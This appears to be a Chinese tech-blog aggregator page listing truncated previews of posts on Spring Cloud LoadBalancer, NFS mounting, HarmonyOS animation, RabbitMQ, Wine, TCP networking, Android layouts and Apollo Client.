目录 一、简介1.定义2.取代 Ribbon3.主要特点与功能4.LoadBalancer 和 OpenFeign 的关系 二、使用场景一:Eureka LoadBalancer服务A:loadbalancer-consumer 消费者1.Maven依赖2.application.yml配置3.RestTemplateConfig.java4.DemoController.java 服务…...
文件挂载nas挂载
准备资源 nas服务器: 192.168.1.2 分配的nas卷名: mynasvolumename 在本地机器挂载nas卷 mkdir -p /mnt/localmountdir 执行挂载 mount -t nfs 192.168.1.2:mynasvolumename/ /mnt/localmountdir 本地进入nas目录 cd /mnt/localmountdir 可以…...

以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:
一、属性动画概述NETX 作用:实现组件通用属性的渐变过渡效果,提升用户体验。支持属性:width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项: 布局类属性(如宽高)变化时&#…...

边缘计算医疗风险自查APP开发方案
核心目标:在便携设备(智能手表/家用检测仪)部署轻量化疾病预测模型,实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...

YSYX学习记录(八)
C语言,练习0: 先创建一个文件夹,我用的是物理机: 安装build-essential 练习1: 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件,随机修改或删除一部分,之后…...
是否存在路径(FIFOBB算法)
题目描述 一个具有 n 个顶点e条边的无向图,该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序,确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数,分别表示n 和 e 的值(1…...

如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...

技术栈RabbitMq的介绍和使用
目录 1. 什么是消息队列?2. 消息队列的优点3. RabbitMQ 消息队列概述4. RabbitMQ 安装5. Exchange 四种类型5.1 direct 精准匹配5.2 fanout 广播5.3 topic 正则匹配 6. RabbitMQ 队列模式6.1 简单队列模式6.2 工作队列模式6.3 发布/订阅模式6.4 路由模式6.5 主题模式…...
在Ubuntu24上采用Wine打开SourceInsight
1. 安装wine sudo apt install wine 2. 安装32位库支持,SourceInsight是32位程序 sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine32:i386 3. 验证安装 wine --version 4. 安装必要的字体和库(解决显示问题) sudo apt install fonts-wqy…...

嵌入式学习笔记DAY33(网络编程——TCP)
一、网络架构 C/S (client/server 客户端/服务器):由客户端和服务器端两个部分组成。客户端通常是用户使用的应用程序,负责提供用户界面和交互逻辑 ,接收用户输入,向服务器发送请求,并展示服务…...

android RelativeLayout布局
<?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"android:layout_height"match_parent"android:gravity&…...

GraphQL 实战篇:Apollo Client 配置与缓存
GraphQL 实战篇:Apollo Client 配置与缓存 上一篇:GraphQL 入门篇:基础查询语法 依旧和上一篇的笔记一样,主实操,没啥过多的细节讲解,代码具体在: https://github.com/GoldenaArcher/graphql…...